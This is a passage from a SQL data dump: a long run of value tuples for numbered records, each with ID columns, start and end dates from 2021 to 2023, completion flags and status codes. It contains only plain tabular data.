,'2',251,1),(6454,161,8135,'2021-07-29','2021-07-29',1,'2',73,1),(6456,1069,9745,'2021-07-29','2021-08-03',1,'2',326,1),(6457,1069,9744,'2021-07-29','2021-08-03',1,'2',326,1),(6465,222,9775,'2021-07-29','2021-09-14',1,'4',85,1),(6483,161,9801,'2021-07-30','2021-08-02',1,NULL,73,1),(6484,160,9800,'2021-07-30','2021-10-24',1,NULL,73,1),(6499,194,9813,'2021-07-30','2021-08-31',1,'2',45,1),(6500,162,9819,'2021-07-30',NULL,0,NULL,73,1),(6503,222,9815,'2021-07-31','2021-09-28',1,'2',85,1),(6505,1315,9772,'2021-07-31','2021-09-14',1,'2',959,1),(6506,1343,9811,'2021-07-31','2021-08-17',1,'2',86,1),(6542,1069,9866,'2021-08-03','2021-08-03',1,'2',326,1),(6543,1069,9856,'2021-08-03','2021-08-03',1,'2',326,1),(6575,1705,9603,'2021-08-05','2021-08-05',1,NULL,91,1),(6584,1456,9903,'2021-08-05','2021-11-30',1,'4',667,1),(6593,194,9910,'2021-08-05','2021-08-19',1,'2',45,1),(6610,194,9934,'2021-08-06','2021-08-23',1,NULL,45,1),(6611,634,9911,'2021-08-06','2022-07-08',0,'4',639,1),(6633,194,9960,'2021-08-07','2021-08-24',1,'2',45,1),(6637,1705,9961,'2021-08-09','2021-08-09',1,NULL,91,1),(6638,1705,9955,'2021-08-09','2021-08-09',1,NULL,91,1),(6639,1705,9954,'2021-08-09','2021-08-09',1,NULL,91,1),(6640,1310,9959,'2021-08-11','2021-12-07',0,'4',959,1),(6647,222,9944,'2021-08-10','2021-10-14',1,'2',85,1),(6649,194,9976,'2021-08-10','2021-08-21',1,'2',45,1),(6650,194,9973,'2021-08-10','2021-09-03',1,'2',45,1),(6654,1406,9980,'2021-08-10','2021-10-22',1,'4',971,1),(6674,1410,9998,'2021-08-13','2021-08-20',1,'2',975,1),(6679,194,10001,'2021-08-13','2021-08-24',1,'2',45,1),(6691,162,10012,'2021-08-16','2021-09-03',1,'2',73,1),(6695,194,10017,'2021-08-16','2021-08-25',1,'2',45,1),(6696,1674,10040,'2021-08-16','2021-09-08',1,'2',251,1),(6707,1668,9999,'2021-08-16','2022-04-13',1,'2',277,1),(6717,1705,10023,'2021-08-17','2021-08-17',1,NULL,91,1),(6718,1408,10028,'2021-08-17','2021-08-31',1,'2',86,1),(6730,1406,10055,'2021-08-18','2021-10-05',1,'2',971,1),(6731,1668,10059,'2021-08-18','2022-08-19',1,'2',277,1),(6760,160,10060,'2021-08-20','2021-11-15',1,'2',73,1),(6761,1410,10101,'2021-08-20','2021-09-04',1,'2',975,1),(6762,1410,10100,'2021-08-20','2021-09-04',1,'2',975,1),(6785,194,10142,'2021-08-21','2021-09-02',1,'2',45,1),(6786,194,10144,'2021-08-21','2021-10-08',1,'2',45,1),(6798,222,10119,'2021-08-23','2021-10-08',1,'2',85,1),(6804,222,10150,'2021-08-23','2021-10-08',1,'2',85,1),(6805,221,10149,'2021-08-23','2021-10-08',1,'2',85,1),(6825,194,10190,'2021-08-24','2021-12-31',1,'4',45,1),(6833,1705,10174,'2021-08-25','2021-08-25',1,NULL,91,1),(6841,1410,10192,'2021-08-25','2021-08-28',1,NULL,975,1),(6849,160,10176,'2021-08-26','2021-10-24',1,NULL,73,1),(6854,194,10102,'2021-08-26',NULL,0,NULL,45,1),(6857,633,10182,'2021-08-27','2023-01-17',1,'4',639,1),(6862,222,10200,'2021-08-28','2021-10-14',1,'2',85,1),(6874,221,10222,'2021-08-30','2021-09-28',1,'2',85,1),(6878,1666,10116,'2021-08-30','2021-10-25',1,'2',277,1),(6879,1668,10139,'2021-08-30','2021-10-25',1,'2',277,1),(6880,1665,10143,'2021-08-30','2021-10-25',1,'2',277,1),(6881,1669,10147,'2021-08-30','2022-03-28',1,'2',277,1),(6882,1668,10178,'2021-08-30','2022-03-28',1,'2',277,1),(6884,1675,10229,'2021-08-30','2021-08-30',1,'2',86,1),(6886,1674,10234,'2021-08-30','2021-10-07',1,'2',251,1),(6899,221,10241,'2021-08-31','2021-12-24',1,'4',85,1),(6906,194,10263,'2021-08-31','2021-09-15',1,'2',45,1),(6907,194,10298,'2021-08-31','2021-09-15',1,NULL,45,1),(6908,194,10299,'2021-08-31','2021-09-15',1,NULL,45,1),(6909,194,10308,'2021-08-31','2021-09-15',1,NULL,45,1),(6910,194,10315,'2021-08-31','2021-09-15',1,'2',45,1),(6920,162,10252,'2021-09-01','2021-09-21',1,'2',73,1),(6924,1456,10265,'2021-09-01','2021-10-05',1,'2',667,1),(6930,1668,10275,'2021-09-01','2022-03-29',1,'2',277,1),(6932,1342,10268,'2021-09-01','2021-11-18',0,'4',971,1),(6967,221,10322,'2021-09-04','2021-09-28',1,'2',85,1),(6972,1069,10333,'2021-09-04','2021-09-04',1,'2',326,1),(6973,1069,10332,'2021-09-04','2021-09-04',1,'2',326,1),(6974,1069,10331,'2021-09-04','2021-09-04',1,'2',326,1),(6975,1069,10330,'2021-09-04','2021-09-04',1,'2',326,1),(6976,1069,10329,'2021-09-04','2021-09-04',1,'2',326,1),(6977,194,10335,'2021-09-04',NULL,0,NULL,45,1),(6978,1675,10340,'2021-09-04','2021-09-04',1,'2',86,1),(6986,194,10346,'2021-09-06','2021-09-15',1,NULL,45,1),(6987,194,10351,'2021-09-06','2021-10-05',1,'2',45,1),(6988,194,10350,'2021-09-06','2021-10-05',1,'2',45,1),(6991,221,10371,'2021-09-06','2021-09-29',1,'2',85,1),(6992,1705,10360,'2021-09-06','2021-09-07',1,NULL,91,1),(6994,1705,10349,'2021-09-07','2021-09-09',1,NULL,91,1),(6995,1343,10368,'2021-09-07','2021-09-21',1,'2',86,1),(7005,1732,10344,'2021-09-08','2021-09-22',1,'2',667,1),(7023,1667,10342,'2021-09-09','2021-11-02',1,'2',277,1),(7024,1669,10366,'2021-09-09','2022-09-20',1,'2',277,1),(7029,194,10409,'2021-09-09','2021-10-07',1,'2',45,1),(7039,194,10414,'2021-09-13','2021-10-04',1,'2',45,1),(7040,194,10413,'2021-09-13','2021-10-01',1,'2',45,1),(7049,1740,9084,'2021-09-13','2021-12-23',1,NULL,1020,1),(7055,1310,10173,'2021-09-13','2021-10-18',1,'2',959,1),(7056,1315,10138,'2021-09-13','2021-09-28',1,'2',959,1),(7064,1410,10466,'2021-09-15','2021-10-01',1,'2',975,1),(7068,1410,10454,'2021-09-15','2022-11-03',0,'2',975,1),(7082,1749,9269,'2021-09-17','2021-10-11',1,'4',996,1),(7086,1750,10483,'2021-09-18','2022-07-30',1,'2',996,1),(7102,1668,10452,'2021-09-18','2022-09-07',1,'2',277,1),(7121,194,10486,'2021-09-20','2021-09-22',1,NULL,45,1),(7127,1342,10527,'2021-09-20','2021-12-16',1,'2',971,1),(7128,1710,10524,'2021-09-20','2021-10-04',1,'2',971,1),(7135,1410,10602,'2021-09-21','2021-09-23',0,'4',975,1),(7137,194,10523,'2021-09-21','2021-10-05',1,NULL,45,1),(7139,222,10474,'2021-09-21','2021-11-27',1,'4',85,1),(7142,162,10470,'2021-09-21','2021-10-05',1,'2',73,1),(7143,161,10628,'2021-09-21','2021-10-05',1,'2',73,1),(7144,1439,10620,'2021-09-21','2021-09-21',1,'2',86,1),(7150,1674,10597,'2021-09-21','2021-10-18',1,'2',251,1),(7178,1705,10509,'2021-09-22','2021-09-23',1,NULL,91,1),(7193,221,10588,'2021-09-22','2021-10-22',1,'2',85,1),(7194,221,10526,'2021-09-22','2021-10-28',1,'2',85,1),(7207,194,10665,'2021-09-22','2021-10-06',1,'2',45,1),(7213,1410,10649,'2021-09-22','2021-10-01',1,'2',975,1),(7214,1410,10648,'2021-09-22','2021-10-01',1,'2',975,1),(7250,1710,10697,'2021-09-24','2021-12-09',0,'4',971,1),(7261,1675,10708,'2021-09-24','2021-09-24',1,'2',86,1),(7262,1310,10714,'2021-09-24','2021-10-26',1,'2',959,1),(7267,162,10635,'2021-09-25','2021-11-09',1,'2',73,1),(7294,1410,10763,'2021-09-27','2021-10-19',1,'2',975,1),(7296,1410,10737,'2021-09-27','2021-10-23',1,'2',975,1),(7310,1069,10738,'2021-09-27','2021-10-19',1,'2',326,1),(7311,1069,10746,'2021-09-27','2021-10-13',1,'2',326,1),(7318,1315,10730,'2021-09-28',NULL,0,NULL,959,1),(7328,221,10768,'2021-09-28','2021-11-16',1,'4',85,1),(7340,194,10783,'2021-09-28','2021-10-26',1,NULL,45,1),(7344,160,10781,'2021-09-28','2021-11-09',1,'2',73,1),(7355,1394,10799,'2021-09-29','2021-10-21',1,'2',86,1),(7363,161,10822,'2021-09-29','2021-10-29',1,'2',73,1),(7382,194,10816,'2021-09-30','2021-10-26',1,'2',45,1),(7383,194,10815,'2021-09-30','2021-10-26',1,'2',45,1),(7385,221,10809,'2021-09-30','2021-11-29',1,'2',85,1),(7386,1251,10838,'2021-09-30','2021-10-13',1,'2',86,1),(7403,1674,10813,'2021-10-01','2021-11-12',1,'2',251,1),(7420,221,10840,'2021-10-04','2021-12-21',1,'4',85,1),(7423,1069,10865,'2021-10-04','2021-10-20',1,'2',326,1),(7434,1410,10859,'2021-10-05',NULL,0,NULL,975,1),(7449,1750,10872,'2021-10-05','2022-08-02',0,'4',996,1),(7457,194,10873,'2021-10-05','2021-10-19',1,NULL,45,1),(7459,1310,10871,'2021-10-05',NULL,0,NULL,959,1),(7473,1410,10882,'2021-10-05','2021-10-19',1,'2',975,1),(7502,1315,10925,'2021-10-07','2021-11-30',1,'2',959,1),(7510,1406,10930,'2021-10-07','2021-11-19',1,'2',971,1),(7528,1315,10970,'2021-10-08',NULL,0,NULL,959,1),(7532,194,10979,'2021-10-08','2021-10-25',1,'2',45,1),(7541,221,10980,'2021-10-11','2021-12-21',1,'2',85,1),(7561,1674,10994,'2021-10-12','2021-11-12',1,'2',251,1),(7566,1705,10802,'2021-10-12','2021-10-12',0,'4',91,1),(7567,1705,10674,'2021-10-12','2021-10-12',0,'4',91,1),(7568,1705,10505,'2021-10-12','2021-10-12',0,'4',91,1),(7569,1705,10437,'2021-10-12','2021-10-12',0,'4',91,1),(7570,1705,10400,'2021-10-12','2021-10-12',0,'4',91,1),(7572,221,11008,'2021-10-12','2021-10-26',1,'2',85,1),(7581,221,11040,'2021-10-12','2021-11-30',1,'4',85,1),(7582,194,11038,'2021-10-12','2021-10-26',1,'2',45,1),(7583,194,11031,'2021-10-12','2022-02-17',1,'4',45,1),(7584,1324,11049,'2021-10-13','2021-11-18',1,'2',959,1),(7590,1069,11030,'2021-10-13','2021-10-13',1,'2',326,1),(7591,1069,0,'2021-10-13',NULL,0,NULL,326,1),(7592,1069,11025,'2021-10-13','2021-10-13',1,'2',326,1),(7596,1410,11057,'2021-10-13',NULL,0,NULL,975,1),(7614,1069,11091,'2021-10-14','2021-10-18',1,'2',326,1),(7615,1069,11090,'2021-10-14','2021-10-18',1,'2',326,1),(7617,204,11093,'2021-10-16','2021-12-07',1,'2',86,1),(7625,1732,11104,'2021-10-18','2021-11-30',1,'4',667,1),(7626,1674,11073,'2021-10-18','2021-11-12',1,'2',251,1),(7629,194,11083,'2021-10-18','2021-10-29',1,'2',45,1),(7630,194,11084,'2021-10-18','2021-12-08',1,'2',45,1),(7631,194,11092,'2021-10-18','2021-12-03',1,'2',45,1),(7639,194,11115,'2021-10-18','2021-12-06',1,'2',45,1),(7645,1410,11121,'2021-10-19',NULL,0,NULL,975,1),(7648,221,11085,'2021-10-19','2021-11-27',1,'2',85,1),(7661,194,11133,'2021-10-19','2021-11-12',1,'2',45,1),(7662,194,11120,'2021-10-19','2021-12-02',1,'2',45,1),(7664,1410,11144,'2021-10-19','2021-11-23',1,'2',975,1),(7669,162,11148,'2021-10-20','2022-02-03',0,'4',73,1),(7689,1665,11152,'2021-10-21','2022-06-20',1,'2',277,1),(7706,1324,11158,'2021-10-22','2021-11-30',1,'2',959,1),(7735,160,11193,'2021-10-23','2022-02-04',1,'2',73,1),(7736,1665,11196,'2021-10-23','2022-06-20',1,'2',277,1),(7768,1324,11232,'2021-10-26','2021-11-30',1,'2',959,1),(7769,1310,11230,'2021-10-26','2021-12-14',1,'2',959,1),(7770,1408,11234,'2021-10-26','2021-11-26',1,'2',86,1),(7772,161,11238,'2021-10-26','2021-11-09',1,'2',73,1),(7775,194,11246,'2021-10-27','2021-11-09',1,'2',45,1),(7798,1410,11283,'2021-10-28','2021-11-23',1,'2',975,1),(7799,1410,11281,'2021-10-28','2021-11-23',1,'2',975,1),(7800,1410,11279,'2021-10-28','2021-11-23',1,'2',975,1),(7802,1708,11280,'2021-10-29','2022-08-09',1,'2',639,1),(7803,1674,11294,'2021-10-29','2022-07-29',1,'2',251,1),(7804,221,11270,'2021-10-29','2021-11-27',1,'2',85,1),(7820,194,11311,'2021-11-01','2021-11-18',1,'2',45,1),(7821,194,11307,'2021-11-01','2021-11-12',1,'2',45,1),(7822,1394,11320,'2021-11-01','2022-11-03',1,'2',86,1),(7843,1674,11323,'2021-11-02','2022-08-03',1,'4',251,1),(7847,221,11297,'2021-11-02','2021-11-30',1,'2',85,1),(7848,221,11337,'2021-11-02','2021-11-27',1,'2',85,1),(7851,1708,11101,'2021-11-03','2022-11-04',0,'2',639,1),(7852,1705,11265,'2021-11-03','2021-11-03',1,NULL,91,1),(7853,1705,11264,'2021-11-03','2021-11-03',1,NULL,91,1),(7854,1705,11263,'2021-11-03','2021-11-03',1,NULL,91,1),(7855,1705,11262,'2021-11-03','2021-11-03',1,NULL,91,1),(7856,1069,11328,'2021-11-03','2022-06-29',0,'4',326,1),(7857,1069,11327,'2021-11-03','2022-06-29',0,'1',326,1),(7858,194,11354,'2021-11-03','2021-11-18',1,'2',45,1),(7891,1665,11313,'2021-11-05','2021-11-15',0,'2',277,1),(7925,194,11432,'2021-11-08','2021-12-08',1,'2',45,1),(7936,1705,11242,'2021-11-09','2021-11-09',1,NULL,91,1),(7937,1705,10996,'2021-11-09','2021-11-09',1,NULL,91,1),(7938,1705,10836,'2021-11-09','2021-11-09',1,NULL,91,1),(7939,1705,11269,'2021-11-09','2021-11-09',1,NULL,91,1),(7940,1750,11394,'2021-11-09','2021-11-09',0,'2',996,1),(7941,1750,11393,'2021-11-09','2021-11-09',0,'2',996,1),(7942,1749,11392,'2021-11-09','2021-11-09',0,'2',996,1),(7943,1750,11391,'2021-11-09','2021-11-09',0,'2',996,1),(7944,1749,11390,'2021-11-09','2021-11-09',0,'2',996,1),(7948,1291,11439,'2021-11-09','2021-11-26',1,'2',86,1),(7951,1315,11447,'2021-11-09',NULL,0,NULL,959,1),(7952,1324,11450,'2021-11-09','2021-11-30',1,'2',959,1),(7953,194,11451,'2021-11-09','2021-12-02',1,'2',45,1),(7958,1670,11479,'2021-11-10','2022-08-18',1,'2',277,1),(7959,1666,11476,'2021-11-10','2022-06-20',1,'2',277,1),(7960,1662,11453,'2021-11-10','2021-11-15',0,'2',277,1),(7987,1674,11480,'2021-11-11','2021-11-12',1,NULL,251,1),(7988,1674,11482,'2021-11-11','2021-11-23',1,'2',251,1),(7994,222,11481,'2021-11-12','2021-12-24',1,'4',85,1),(7995,194,11492,'2021-11-12','2021-12-01',1,'2',45,1),(7999,1710,11443,'2021-11-12','2021-12-31',1,'2',971,1),(8000,1406,11403,'2021-11-12','2021-12-29',1,'2',971,1),(8007,1667,11493,'2021-11-15','2022-05-25',1,'2',277,1),(8023,1740,11487,'2021-11-16','2021-12-04',1,NULL,1020,1),(8032,221,11530,'2021-11-16','2021-11-30',1,'2',85,1),(8033,221,11534,'2021-11-16','2021-11-30',1,'2',85,1),(8034,194,11541,'2021-11-16','2021-12-09',1,'2',45,1),(8040,221,11546,'2021-11-17','2021-12-21',1,'2',85,1),(8048,162,11547,'2021-11-18','2022-01-27',0,'4',73,1),(8049,1410,11566,'2021-11-18','2021-12-20',1,'2',975,1),(8074,1291,11550,'2021-11-20','2022-06-01',1,'1',86,1),(8080,1666,11586,'2021-11-22','2022-04-20',1,'2',277,1),(8081,221,11590,'2021-11-22','2021-12-07',1,'2',85,1),(8082,221,11599,'2021-11-22','2022-02-23',1,'2',85,1),(8093,1410,11618,'2021-11-23','2021-12-10',1,'2',975,1),(8094,1410,11611,'2021-11-23',NULL,0,NULL,975,1),(8095,1410,11610,'2021-11-23','2021-12-28',1,'2',975,1),(8096,1410,11619,'2021-11-23','2021-12-27',1,'2',975,1),(8099,1740,11589,'2021-11-24','2022-11-02',1,'2',1020,1),(8140,194,11693,'2021-11-26','2021-12-28',1,'2',45,1),(8141,194,11684,'2021-11-26','2021-12-29',1,'2',45,1),(8145,221,11670,'2021-11-27','2021-12-23',1,'2',85,1),(8182,1740,11673,'2021-11-29','2021-12-04',1,NULL,1020,1),(8183,194,11739,'2021-11-29','2021-12-10',1,'2',45,1),(8184,194,11744,'2021-11-29','2021-12-29',1,'2',45,1),(8202,1654,11710,'2021-11-30','2022-03-03',0,'4',971,1),(8254,1408,11786,'2021-12-01','2021-12-15',1,'2',86,1),(8255,1291,11808,'2021-12-01','2021-12-13',1,'2',86,1),(8256,1675,11804,'2021-12-01','2021-12-01',1,'2',86,1),(8257,1675,11801,'2021-12-01','2021-12-01',1,'2',86,1),(8258,1675,11795,'2021-12-01','2021-12-01',1,'2',86,1),(8268,1668,11806,'2021-12-01','2022-04-20',1,'2',277,1),(8286,1675,11816,'2021-12-02','2021-12-03',1,'2',86,1),(8293,1410,11852,'2021-12-03','2021-12-22',1,'2',975,1),(8297,1674,11846,'2021-12-03','2022-09-24',1,'2',251,1),(8304,194,11859,'2021-12-04','2021-12-17',1,'2',45,1),(8305,1408,11855,'2021-12-04','2021-12-24',1,'2',86,1),(8317,1410,11872,'2021-12-06','2021-12-29',1,NULL,975,1),(8328,1324,11870,'2021-12-07',NULL,0,NULL,959,1),(8370,194,11759,'2021-12-09','2021-12-22',1,NULL,45,1),(8371,194,10881,'2021-12-09',NULL,0,NULL,45,1),(8374,194,11932,'2021-12-09','2022-02-16',1,'2',45,1),(8382,203,11949,'2021-12-10','2021-12-23',1,'2',86,1),(8390,1410,11951,'2021-12-13','2023-08-07',1,'2',975,1),(8392,162,11914,'2021-12-13','2022-04-20',1,'2',73,1),(8396,194,11962,'2021-12-14','2022-02-17',1,'4',45,1),(8397,1324,11959,'2021-12-14',NULL,0,NULL,959,1),(8405,1740,11969,'2021-12-15','2021-12-20',1,NULL,1020,1),(8406,1740,11968,'2021-12-15','2021-12-20',1,NULL,1020,1),(8407,221,11963,'2021-12-15','2022-02-23',1,'2',85,1),(8408,1732,11958,'2021-12-15','2022-11-02',0,'2',667,1),(8427,161,11984,'2021-12-16','2021-12-24',1,'2',73,1),(8435,1654,12013,'2021-12-18','2022-03-04',1,'2',971,1),(8444,194,12036,'2021-12-20','2021-12-31',1,'2',45,1),(8449,221,12008,'2021-12-21','2021-12-31',1,'2',85,1),(8491,1410,12104,'2021-12-23','2022-07-26',1,'2',975,1),(8494,1740,12091,'2021-12-23','2021-12-23',1,NULL,1020,1),(8497,221,12080,'2021-12-23','2022-01-03',1,'2',85,1),(8498,221,12108,'2021-12-23','2021-12-23',1,NULL,85,1),(8499,162,12103,'2021-12-23','2022-02-04',1,'2',73,1),(8539,161,12133,'2021-12-27','2022-04-13',1,'2',73,1),(8551,1410,12157,'2021-12-27','2022-11-02',0,'2',975,1),(8555,194,12170,'2021-12-27','2022-02-16',1,'2',45,1),(8576,1410,12177,'2021-12-28','2022-07-26',1,'2',975,1),(8591,194,12200,'2021-12-29','2022-02-18',1,'2',45,1),(8594,1408,12198,'2021-12-30','2022-01-28',1,'2',86,1),(8595,1732,12199,'2021-12-30','2022-07-04',0,'4',667,1),(8600,194,12205,'2021-12-30','2022-01-31',1,'2',45,1),(8613,1394,12211,'2022-01-01','2022-01-28',1,'2',86,1),(8626,1670,12076,'2022-01-03','2022-04-13',1,'2',277,1),(8627,1668,12075,'2022-01-03','2022-04-13',1,'2',277,1),(8628,1666,12015,'2022-01-03','2022-04-16',1,'2',277,1),(8629,1662,11980,'2022-01-03','2022-10-11',0,'4',277,1),(8632,1674,12190,'2022-01-03','2022-09-22',1,'4',251,1),(8633,1654,12224,'2022-01-04','2023-10-03',0,'2',971,1),(8635,194,12229,'2022-01-04','2022-01-31',1,'2',45,1),(8656,194,12284,'2022-01-10','2022-03-02',1,'2',45,1),(8657,194,12279,'2022-01-10','2022-03-07',1,'4',45,1),(8658,194,12267,'2022-01-10','2022-01-27',1,NULL,45,1),(8675,162,12278,'2022-01-17','2023-06-12',1,'2',73,1),(8696,162,12307,'2022-01-20','2022-02-10',1,'2',73,1),(8697,194,12327,'2022-01-21','2022-04-20',1,'2',45,1),(8698,194,12313,'2022-01-21','2022-05-13',1,'2',45,1),(8710,194,12347,'2022-01-24','2022-02-01',1,'2',45,1),(8713,1291,12341,'2022-01-24','2022-05-03',1,'4',86,1),(8714,1343,12339,'2022-01-24','2022-05-03',0,'4',86,1),(8726,162,12348,'2022-01-25','2022-02-22',1,'2',73,1),(8727,161,12328,'2022-01-25','2022-02-16',1,'2',73,1),(8741,1394,12392,'2022-01-29','2022-04-25',1,'2',86,1),(8744,160,12394,'2022-01-31','2022-02-24',1,'2',73,1),(8752,1343,12407,'2022-02-01','2022-05-04',1,'2',86,1),(8753,194,12405,'2022-02-01','2022-02-24',1,'2',45,1),(8763,221,12286,'2022-02-03','2022-11-01',0,'2',85,1),(8764,221,12289,'2022-02-03',NULL,0,NULL,85,1),(8765,221,12324,'2022-02-03','2022-07-26',1,'2',85,1),(8769,1343,12424,'2022-02-04','2022-02-11',1,'2',86,1),(8770,1343,12422,'2022-02-04','2022-02-11',1,'2',86,1),(8771,1291,12419,'2022-02-04','2022-02-11',1,'2',86,1),(8775,194,12436,'2022-02-05',NULL,0,NULL,45,1),(8780,221,12429,'2022-02-07','2022-03-02',1,'2',85,1),(8786,194,12452,'2022-02-08','2022-04-21',1,'2',45,1),(8787,1574,12454,'2022-02-08','2022-02-23',0,'4',86,1),(8789,194,12457,'2022-02-08','2022-05-13',1,'2',45,1),(8808,162,12491,'2022-02-14','2022-03-03',1,'2',73,1),(8809,161,12493,'2022-02-14','2022-03-07',1,'2',73,1),(8810,194,12497,'2022-02-15','2022-03-09',1,'2',45,1),(8812,194,12506,'2022-02-15','2022-04-19',1,'2',45,1),(8819,194,12521,'2022-02-17','2022-03-10',1,'2',45,1),(8820,161,12522,'2022-02-21','2022-03-28',1,'2',73,1),(8821,161,12518,'2022-02-21','2022-03-24',1,'2',73,1),(8823,1667,12494,'2022-02-23','2022-04-20',1,'2',277,1),(8824,1670,12464,'2022-02-23','2022-06-23',1,'2',277,1),(8825,1659,12281,'2022-02-23','2022-04-20',1,'2',277,1),(8826,1668,12274,'2022-02-23','2022-06-20',1,'2',277,1),(8827,1661,12272,'2022-02-23','2022-06-18',1,'2',277,1),(8828,1663,12329,'2022-02-23','2022-04-20',1,'2',277,1),(8829,1665,12273,'2022-02-23','2022-04-20',1,'2',277,1),(8830,1668,12271,'2022-02-23','2022-04-13',1,'2',277,1),(8834,194,12530,'2022-03-02','2022-07-18',1,'2',45,1),(8835,194,12554,'2022-03-02','2022-05-16',1,'2',45,1),(8836,1780,12548,'2022-03-18','2022-05-05',1,'2',971,1),(8839,1666,12565,'2022-03-03','2022-05-25',1,'2',277,1),(8841,160,12397,'2022-03-04','2022-03-14',1,'2',73,1),(8845,1393,12570,'2022-03-07','2022-08-24',1,'2',86,1),(8846,1393,12523,'2022-03-07','2022-08-25',1,'2',86,1),(8847,194,12572,'2022-03-07','2022-03-17',1,'2',45,1),(8848,194,12571,'2022-03-07','2022-05-17',1,'2',45,1),(8849,194,12582,'2022-03-09','2022-03-21',1,'2',45,1),(8850,194,12581,'2022-03-09','2022-04-13',1,'2',45,1),(8851,1251,12579,'2022-03-10','2022-11-03',0,'2',86,1),(8852,1675,12577,'2022-03-10',NULL,0,NULL,86,1),(8853,1343,12651,'2022-03-11','2022-03-11',1,'2',86,1),(8854,1291,12654,'2022-03-11','2022-03-25',1,'2',86,1),(8855,1343,12653,'2022-03-11','2022-03-11',1,'2',86,1),(8856,1251,12652,'2022-03-11','2022-03-11',1,'2',86,1),(8857,1343,12650,'2022-03-11','2022-03-11',1,'2',86,1),(8858,194,12665,'2022-03-14','2022-03-31',1,'2',45,1),(8859,194,12664,'2022-03-14','2022-03-30',1,'2',45,1),(8860,194,12661,'2022-03-14','2022-03-29',1,'2',45,1),(8861,194,12660,'2022-03-14','2022-03-28',1,'2',45,1),(8862,195,12663,'2022-03-14','2022-03-15',1,NULL,45,1),(8863,194,12659,'2022-03-14','2022-03-25',1,'2',45,1),(8864,194,12658,'2022-03-14','2022-03-25',1,'2',45,1),(8865,194,12657,'2022-03-14','2022-03-25',1,'2',45,1),(8866,194,12656,'2022-03-14','2022-03-25',1,'2',45,1),(8867,194,12667,'2022-03-16','2022-03-29',1,NULL,45,1),(8868,160,12666,'2022-03-18','2022-04-07',1,'2',73,1),(8869,194,12669,'2022-03-21','2022-05-10',1,'2',45,1),(8870,194,12670,'2022-03-21','2022-04-07',1,'2',45,1),(8871,1666,12676,'2022-03-23','2022-10-11',0,'4',277,1),(8872,1661,12675,'2022-03-23','2022-05-25',1,'2',277,1),(8873,1661,12674,'2022-03-23','2022-05-25',1,'2',277,1),(8874,1659,12673,'2022-03-23','2022-04-20',0,'4',277,1),(8875,161,12672,'2022-03-24','2022-09-20',0,'4',73,1),(8876,162,0,'2022-03-24',NULL,0,NULL,73,1),(8877,1675,12668,'2022-03-24','2022-05-03',0,'2',86,1),(8878,194,12680,'2022-03-24','2022-05-05',1,NULL,45,1),(8879,1781,12287,'2022-03-25','2022-03-26',1,NULL,91,1),(8880,1781,12434,'2022-03-25','2022-11-03',1,'2',91,1),(8881,1781,12403,'2022-03-25','2022-11-03',1,'2',91,1),(8882,1781,12386,'2022-03-25','2022-11-17',1,'2',91,1),(8883,1781,11878,'2022-03-25','2022-03-26',1,NULL,91,1),(8884,1781,11573,'2022-03-25','2022-03-26',1,NULL,91,1),(8885,160,12684,'2022-03-28','2022-09-20',0,'4',73,1),(8886,161,12683,'2022-03-28',NULL,0,NULL,73,1),(8887,161,12688,'2022-03-28','2022-04-25',1,'2',73,1),(8888,161,12691,'2022-03-28','2022-05-07',1,'2',73,1),(8889,160,12692,'2022-03-28','2022-05-03',1,'2',73,1),(8890,1675,12681,'2022-03-29','2022-08-24',0,'4',86,1),(8891,195,12695,'2022-03-30','2022-07-22',1,'2',45,1),(8892,195,12697,'2022-03-30','2022-08-18',1,'2',45,1),(8893,195,12699,'2022-04-01','2022-04-13',1,'2',45,1),(8894,1675,12694,'2022-04-04','2022-08-19',0,'4',86,1),(8895,161,12693,'2022-04-04','2022-06-14',1,'2',73,1),(8896,161,12698,'2022-04-04','2022-05-09',1,'2',73,1),(8897,195,12703,'2022-04-06','2022-04-19',1,'2',45,1),(8898,194,12711,'2022-04-07','2022-05-05',1,NULL,45,1),(8899,1782,12706,'2022-04-08','2022-05-06',0,'4',971,1),(8900,1782,12707,'2022-04-08','2022-05-06',0,'4',971,1),(8901,1782,12708,'2022-04-08','2022-05-06',0,'4',971,1),(8902,1782,12709,'2022-04-08','2022-05-06',0,'4',971,1),(8903,1782,12710,'2022-04-08','2022-05-06',0,'4',971,1),(8904,1667,12717,'2022-04-11','2022-08-19',1,'1',277,1),(8905,160,12720,'2022-04-12','2022-05-11',1,'2',73,1),(8906,1667,12719,'2022-04-13','2022-06-23',1,'2',277,1),(8907,1665,12718,'2022-04-13','2022-05-25',1,'2',277,1),(8908,162,12727,'2022-04-15','2022-09-20',0,'4',73,1),(8909,1661,12721,'2022-04-15','2022-08-19',0,'4',277,1),(8910,1675,12728,'2022-04-19','2022-07-04',1,'2',86,1),(8911,1675,12726,'2022-04-19','2022-11-03',1,'2',86,1),(8912,1675,12725,'2022-04-19','2022-09-14',1,'2',86,1),(8913,1675,12724,'2022-04-19','2022-11-18',0,'4',86,1),(8914,161,12723,'2022-04-19','2022-06-29',1,'2',73,1),(8915,188,12735,'2022-04-20','2022-05-04',1,'2',45,1),(8916,1675,12737,'2022-04-22','2022-05-11',1,'2',86,1),(8917,195,12739,'2022-04-23','2023-10-17',1,'2',45,1),(8918,192,12742,'2022-04-23','2023-10-17',0,'2',45,1),(8919,192,12745,'2022-04-23','2022-05-30',1,'2',45,1),(8920,194,12746,'2022-04-23','2022-05-30',1,'2',45,1),(8921,194,12747,'2022-04-23','2022-05-30',1,'2',45,1),(8922,161,12753,'2022-04-26','2022-11-03',0,'2',73,1),(8923,160,12752,'2022-04-26',NULL,0,NULL,73,1),(8924,1668,12760,'2022-04-29','2022-08-19',1,'2',277,1),(8925,1661,12743,'2022-04-29','2022-08-19',1,'1',277,1),(8926,1780,12756,'2022-04-30','2022-06-15',1,'2',971,1),(8927,195,12755,'2022-05-02','2022-05-19',1,'2',45,1),(8928,194,12748,'2022-05-02','2022-05-30',1,'2',45,1),(8929,1780,12769,'2022-05-05','2022-06-21',1,'2',971,1),(8930,1780,12774,'2022-05-06','2022-06-21',1,'2',971,1),(8931,194,12759,'2022-05-09','2022-08-23',1,'2',45,1),(8932,161,12777,'2022-05-10','2022-06-28',1,'2',73,1),(8933,1675,12771,'2022-05-10','2022-07-04',1,'2',86,1),(8934,1667,12779,'2022-05-16','2022-08-19',1,'2',277,1),(8935,1675,12782,'2022-05-18',NULL,0,NULL,86,1),(8936,194,12785,'2022-05-18','2022-05-31',1,'2',45,1),(8937,195,12784,'2022-05-18','2022-06-01',1,'2',45,1),(8938,194,12783,'2022-05-18','2022-06-15',1,'2',45,1),(8939,194,12789,'2022-05-24','2022-06-04',1,'2',45,1),(8940,195,12790,'2022-05-24','2022-06-06',1,'2',45,1),(8941,195,12793,'2022-05-24','2022-06-